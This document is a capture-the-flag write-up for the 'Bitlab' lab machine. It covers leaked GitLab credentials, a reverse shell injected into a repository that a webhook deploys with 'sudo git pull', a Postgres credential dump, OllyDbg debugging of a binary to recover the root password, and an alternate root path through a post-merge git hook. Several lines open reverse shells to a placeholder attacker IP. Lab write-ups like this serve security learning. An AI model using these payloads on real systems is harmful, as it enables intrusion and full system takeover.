Bitlab
Develop a hunger to accomplish your dreams!
Bitlab is a medium difficulty machine running Linux. It tests your knowledge in Git, basic privilege escalation or Reverse Engineering/Debugging techniques. This machine can have a relatively steep learning curve if you have no experience in software RE/Debug.
Be sure to checkout the Basic Setup section before you get started.
Enumeration
Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.
Portscan
portscan bitlab.htb
Grabbing ports...
Ports grabbed!
Scanning...
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-19 00:00 PST
Nmap scan report for bitlab.htb (10.10.10.114)
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open http nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://bitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.68 seconds
Domain
Navigating to port 80
by going to http://bitlab.htb
we are greeted with a Gitlab login page:
If we click the Explore
link at the bottom of the page it brings us to another page that tells us that there are No projects found
:
Information Leak
Going through the links at the top menu Groups
and Snippets
also have nothing to show. However, when we click on the Help
link we are presented with a directory that contains a bookmarks.html
file. This file is related to exporting bookmarks from browsers so this could potentially show us some juicy data.
Taking a look we find five pages bookmarked and one looks promising called Gitlab Login
:
Credentials
Having a look at this link it is javascript
. Let’s right-click and select Copy link location
to copy the javascript code and then navigate back to the login page at http://bitlab.htb
. We will open up our web console and paste the javascript then press enter. This prefills the login details and we can successfully login:
To see what the password
is we can simply console.log()
the variable like so:
As we can see we uncover the username: clave
and password: 11d...81x
.
Trying the password with the username clave
as well as root
via ssh
unsurprisingly yields no results.
Logging in to Gitlab we are presented with two projects Profile
and Deployer
:
Going to the Administrator/Profile
project the first thing I notice is TODO: Connect with postgresql
which could be useful information later on. There is also a link to a profile box
bootstrap snippet which is contained in the index.php
file of the project.
Exploitable Script
Taking a look at the Administrator/Deployer
project we see a link in README.md
to a Gitlab documentation page regarding webhooks
and a file called index.php
that looks like it is using webhooks to automatically update the local repository using git pull
:
<?php
$input = file_get_contents("php://input");
$payload = json_decode($input);
$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';
if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
echo shell_exec('cd ../profile/; sudo git pull'),"\n";
}
echo "OK\n";
When an event occurs the index.php
file is run which in turn executes the shell_exec()
function which is used to execute the operating system commands cd ../profile/; sudo git pull
Taking note of the command traversing to the profile
directory we can find this page at: http://bitlab.htb/profile/
Looks like we have found the entry point for our foothold
and potentially even a leap straight to root
since sudo
is being used.
Foothold
All we need to do is update the Profile
repository, commit the changes, submit a merge request and then merge the changes. This should satisfy all conditions of the webhook event that clave
has setup and our changes to the repository should be pulled into the profile
directory on the system.
To gain a shell we will simply edit index.php
in the Profile
repository adding the line:
<?php echo exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker-ip>/1234 0>&1'"); ?>
We then go through clicking the buttons Commit changes
, Submit merge request
and then Merge
.
On our attacker
machine we setup our listener:
nc -lvp 1234
Once setup we execute the payload by navigating to: http://bitlab.htb/profile/index.php
We should receive a shell via netcat
:
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.114.
Ncat: Connection from 10.10.10.114:48484.
www-data@bitlab:/var/www/html/profile$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We can upgrade our shell if we wish.
Postgres
First things first we should take a look at this postgres
mention we found in the Profile
repository readme file. Now we are logged in to GitLab let’s go back through the top links we went through earlier. We can see a bunch of stuff in the Activity
section that we have already seen. Moving along we go to the Snippets
link and find a submission called Postgresql
.
Taking a look we see the code:
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=p.....s");
$result = pg_query($db_connection, "SELECT * FROM profiles");
Let’s use this info from our newly obtained shell to grab data from the database using our own PHP
script. Hopefully we can find some juicy info.
Here we find that /var/www/html/profile
is owned by root
so let’s cd /tmp
and write our script there:
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=p.....s");
$result = pg_query($db_connection, "SELECT * FROM profiles");
$i = 0;
while ($row = pg_fetch_row($result))
{
$count = count($row);
$y = 0;
while ($y < $count)
{
$c_row = current($row);
echo ' | ' . $c_row . ' | ';
next($row);
$y = $y + 1;
}
$i = $i + 1;
}
pg_free_result($result);
echo " " . PHP_EOL;
?>
Then we can execute the file and see what we have got:
php db.php
| 1 | | clave | | c3NoL...wQHNz== |
Looks like more credentials. At first I thought that the password was base64
encoding as it decodes to the string ssh-str0ng-p@ss
. However, the password is just disguised as one potentially for a rabbithole affect. We can simply login with the password as is:
ssh clave@bitlab.htb
clave@bitlab.htb password:
Last login: Thu Aug 8 14:40:09 2019
clave@bitlab:~$ cat user.txt
1e3fd81ec3....e3c20b8154
We take yet another user.txt
flag! Time for root
.
Root
Looking in clave
’s home directory we find a file called RemoteConnection.exe
.
Let’s download it:
scp clave@bitlab.htb:/home/clave/RemoteConnection.exe .
And then have a look at it with a debugger
.
Debugging
Open up ollydbg
and go to File -> Open
in the top menu navigating to RemoteConnection.exe
and selecting it.
Once loaded, depending on your layout, we should see the following:
If you are missing the Executable modules
and References
windows you can open them by going to View
in the top menu:
Check that the CPU
window is on module RemoteCo
:
If it isn’t double click RemoteConnection.exe
from the Executable modules
window.
In the CPU
window right click and select Search for -> All referenced text strings
from the context menu:
Strings
We should see a list appear in the References
window showing a bunch of strings:
Here we can see an ASCII string which looks interesting:
ASCII "XRIBG0UCDh0HJRcIBh8EEk8aBwdQTAIERVIwFEQ4SDghJUsHJTw1TytWFkwPVgQ2RztS"
This looked like it could potentially be a password but on checking this was not the case. Would have been too easy!
At a closer look we see UNICODE "clave"
which we know is a username
used on the system and then a mention of UNICODE "C:\Program Files\PuTTY\putty.exe"
which is an SSH client. Given the name of the file RemoteConnection.exe
we can safely assume that this program is meant to connect to bitlab
and most likely as root
.
We look at the Disassembly
section related to UNICODE "clave"
and see CMP
which stands for compare
. We like comparisons as that’s usually where interesting things happen.
Breaking
Let’s set a breakpoint
and see whats going on. While the string UNICODE "clave"
is selected press F2
. We will see the address 00401640
highlighted in red showing that we have created a breakpoint
for that location:
To run the Debug
press F9
which brings us to our breakpoint
.
Looking under the Registers
section we uncover what we are looking for:
We can now log in to root
with the password Qf7].........[7d?j&eD4^
:
ssh root@bitlab.htb
root@bitlab.htb password:
root@bitlab:~# id
uid=0(root) gid=0(root) groups=0(root)
root@bitlab:~# cat root.txt
8d4cc13175....cddccd587c
And there we have it… Another box rooted!!
Alternate Root
If you take a look at the beginning of this writeup I stated “tests your knowledge in Git, basic privilege escalation or Reverse Engineering/Debugging techniques”. Maybe you noticed it? Or maybe not!
Remember back when we found the exploitable script that used sudo git pull
I also stated “potentially even a leap straight to root“?
I know, I know! I’m sorry! But in my defence I wanted you to go through the Debugging way first.
Rewinding back to when we gained our foothold
with the user www-data
and we went in to the /tmp
to write our PHP script we could of done something a whole lot simpler.
Git Hooks
In researching exploits for git pull
I came across this post. I decided that githooks
was going to be my attack method.
With further research I found the hook post-merge which is invoked by git-merge
which happens when a git pull
is done on a local repository. This fits all our criteria.
Now the issue here is that we can’t just add a hook
to the .git
folder in the repository because:
- Gitlab doesn’t allow it.
-
/var/www/html/profile
is owned byroot
.
To combat this we will just recreate the profile
repository so we do have ownership.
Being in /tmp
we will copy the profile
repository to this location and then traverse in to it:
cp -r /var/www/html/profile/ profile && cd profile
We will then create our payload
:
echo '#!/bin/sh' > .git/hooks/post-merge && echo 'bash -i >& /dev/tcp/<attacker-ip>/6969 0>&1' >> .git/hooks/post-merge
And make the file executable:
chmod +x .git/hooks/post-merge
Next we get our listener ready on the attacker
machine:
nc -lvp 6969
Now all thats left to do is alter a file in the profile
repository on Gitlab.
From there we commit the changes
, submit a merge request
and merge
.
Once that is done we can pull
in the changes to our own repository:
sudo git pull
We should then receive a connection at our netcat
session:
Ncat: Listening on :::6969
Ncat: Listening on 0.0.0.0:6969
Ncat: Connection from 10.10.10.114.
Ncat: Connection from 10.10.10.114:50644.
root@bitlab:/tmp/profile# id
id
uid=0(root) gid=0(root) groups=0(root)
root@bitlab:/tmp/profile# cat /root/root.txt
cat /root/root.txt
8d4cc13175....cddccd587c
There we have it www-data -> root
.
Conclusion
The initial foothold once again shows how the misconfiguration of a website can cause a ripple all the way to a system breach. Once compromised the misconfiguration of tools like sudo
allow execution of a command that can cause privilege escalation to root
quite easily. To avoid such things don’t misconfigure a link to direct to your personal bookmarks which weirdly contains javascript code that holds your username and password